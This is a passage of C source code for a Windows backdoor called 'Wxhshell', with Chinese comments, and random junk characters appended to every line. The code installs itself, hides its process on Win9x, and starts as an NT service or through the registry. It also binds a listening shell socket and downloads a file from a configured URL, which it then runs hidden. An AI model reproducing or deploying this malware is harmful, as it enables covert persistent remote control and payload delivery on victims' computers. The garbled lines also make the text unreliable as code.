ULONG InheritedFromUniqueProcessId; e5qvyUJM
} PROCESS_BASIC_INFORMATION; {jUvKB_x
e@+v9Bs]q
PROCNTQSIP NtQueryInformationProcess; Ei~]iZ}
yUj;4vd
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ctj8tK$D
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )+k[uokj
jDp]R_i
HANDLE hProcess; JchA=n
PROCESS_BASIC_INFORMATION pbi; AG=9b
69OET_AS>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9<~,n1b>x
if(NULL == hInst ) return 0; X@eg<]'m
ZK!4>OuH`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); / (.'*biQ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m^Rd Iy)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ndB@J*Imu
A'b<?)Y7_
if (!NtQueryInformationProcess) return 0; |WUA1g
M3PVixli3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }kv) IJ
if(!hProcess) return 0; !yk7HaP
`^`9{@~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }o{!}g9
kU>#1He
CloseHandle(hProcess); krwf8!bI
V9gVn?O0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,&4zKm
if(hProcess==NULL) return 0; :Z]/Q/$
tvK rc
HMODULE hMod; '%3u%;"
char procName[255]; US"2O!u
unsigned long cbNeeded; C!`>cUhE{
(PyTq
5:F
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r$Yh)rpt:
6{lG1\o
CloseHandle(hProcess); 55(J&q
tc!!W9{69
if(strstr(procName,"services")) return 1; // 以服务启动 B?!9W@
K%k XS
return 0; // 注册表启动 MP_A<F
} N,h1$)\B#
BJ_+z gf`
// 主模块 t@l(xns V
int StartWxhshell(LPSTR lpCmdLine) YLD-SS[/>
{ Ks9FnDm8
SOCKET wsl; $:T<IU[E
BOOL val=TRUE; z+y;y&P
int port=0; L?AM&w-cg9
struct sockaddr_in door; m+;B!46
[u,hc/PL
if(wscfg.ws_autoins) Install(); Q:'qw#P/C
CM+F7#T?n
port=atoi(lpCmdLine); A73V6"
3P%w-qT!N
if(port<=0) port=wscfg.ws_port; 82G lbd)
Tb5$
WSADATA data; +,ZUTG
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {QIS411
!V$6+?2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u=_bM2;~Z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z%, \+tRe
door.sin_family = AF_INET; OpWC2t)
door.sin_addr.s_addr = inet_addr("127.0.0.1"); _"R3N
door.sin_port = htons(port); 1(#*'xR
vkDZv@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qcR|E`k-G
closesocket(wsl);
?.4yg(
return 1; z'vdC
} Wto@u4
&KOG[tv
if(listen(wsl,2) == INVALID_SOCKET) { lp37irI:
closesocket(wsl); GFASF,+
return 1; XwHu:v'=
}
L@g Q L
Wxhshell(wsl); [[/ }1%
WSACleanup(); mG}^'?^K
m11"i=S"
return 0; c5T~0 'n
X\c1q4oB[
} K4h-4Qbn
Y:tW]
// 以NT服务方式启动 -@gJqoo>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P ],)
{ h=iA;B^>
DWORD status = 0; +[X.-,yW
DWORD specificError = 0xfffffff; " kE:T.,
z1{E:~f
serviceStatus.dwServiceType = SERVICE_WIN32; RJ=c[nb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4acP*LkkQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d
@^o/w8
serviceStatus.dwWin32ExitCode = 0; vJ'yz#tl9
serviceStatus.dwServiceSpecificExitCode = 0; (:j+[3Ht
serviceStatus.dwCheckPoint = 0; %(dV|,|v
serviceStatus.dwWaitHint = 0; w>9H"Q[
A^= Hu,"e
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )"i>R
~*
if (hServiceStatusHandle==0) return; :)
Fp
B"
@=MZ6q
status = GetLastError(); YfrTvKX
if (status!=NO_ERROR) D@lAT#vA
{ a\[fC=]r:
serviceStatus.dwCurrentState = SERVICE_STOPPED; =A6u=
serviceStatus.dwCheckPoint = 0; @LkW_
serviceStatus.dwWaitHint = 0; >r4Y\"/j
serviceStatus.dwWin32ExitCode = status; tx|"v|&e2
serviceStatus.dwServiceSpecificExitCode = specificError; B4*X0x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6%ti B?
return; ]'
"^M
} 2Xj-A\Oh~
]~ g|SqPA@
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,<
)/45
serviceStatus.dwCheckPoint = 0; KoQ_:`
serviceStatus.dwWaitHint = 0; ;2xXX,'R7
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 43orR !.Z
} NkjQyMF
No92Y^~/
// 处理NT服务事件,比如:启动、停止 OL mBh3&
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;hfG${l;
{ |+4E
8;4_
switch(fdwControl) \.{pZMM
{ h.s<0.
case SERVICE_CONTROL_STOP: g8iB;%6
serviceStatus.dwWin32ExitCode = 0; /kviO@jm4(
serviceStatus.dwCurrentState = SERVICE_STOPPED; zx]M/=7,V#
serviceStatus.dwCheckPoint = 0; 2AdHj&XE
serviceStatus.dwWaitHint = 0; A0N ;VYv
{ ~_ l:b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BGh8 \2
} WX[dM
}L
return; 1WA""yb
case SERVICE_CONTROL_PAUSE: )>#<S0>'j
serviceStatus.dwCurrentState = SERVICE_PAUSED; |\r\i&|g1
break; L+0N@`nRF
case SERVICE_CONTROL_CONTINUE: l<)JAT;P
serviceStatus.dwCurrentState = SERVICE_RUNNING; zk^7gx3x
break; ow>[#.ua
case SERVICE_CONTROL_INTERROGATE: tB(X`A.|
break; pQgOT0f
}; /wCxf5q0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vo9)KxR
} abk:_
[F>n!`8
// 标准应用程序主函数 :+Je989\[C
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .D2ub/er
{ Z5^,!6
?[>BssW
// 获取操作系统版本 :#!F 7u
OsIsNt=GetOsVer(); ~pBxFA
GetModuleFileName(NULL,ExeFile,MAX_PATH); a~N)qYL:
xzf)_ <
// 从命令行安装 T?}=k{C]
if(strpbrk(lpCmdLine,"iI")) Install(); Y @ ,e
iNrmhiql
// 下载执行文件 }-]s#^'w
if(wscfg.ws_downexe) { TXk"[>,:H
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UNH}*]u4`
WinExec(wscfg.ws_filenam,SW_HIDE); qpEC!~y
} MvjwP?J]
r'JK$9
if(!OsIsNt) { >, Swk3
// 如果时win9x,隐藏进程并且设置为注册表启动 T.Y4L
HideProc(); zm^p7&ak$
StartWxhshell(lpCmdLine); N@`9 ~JS
} wYxFjXm
else >8HRnCyp/
if(StartFromService()) +w}%gps
// 以服务方式启动 (S93 %ii
StartServiceCtrlDispatcher(DispatchTable); Z YO/'YW
else _q!ck0_
// 普通方式启动 By"ul:.D
StartWxhshell(lpCmdLine); H(ftOd.y
%KVRiX
return 0; 1XKIK(l
}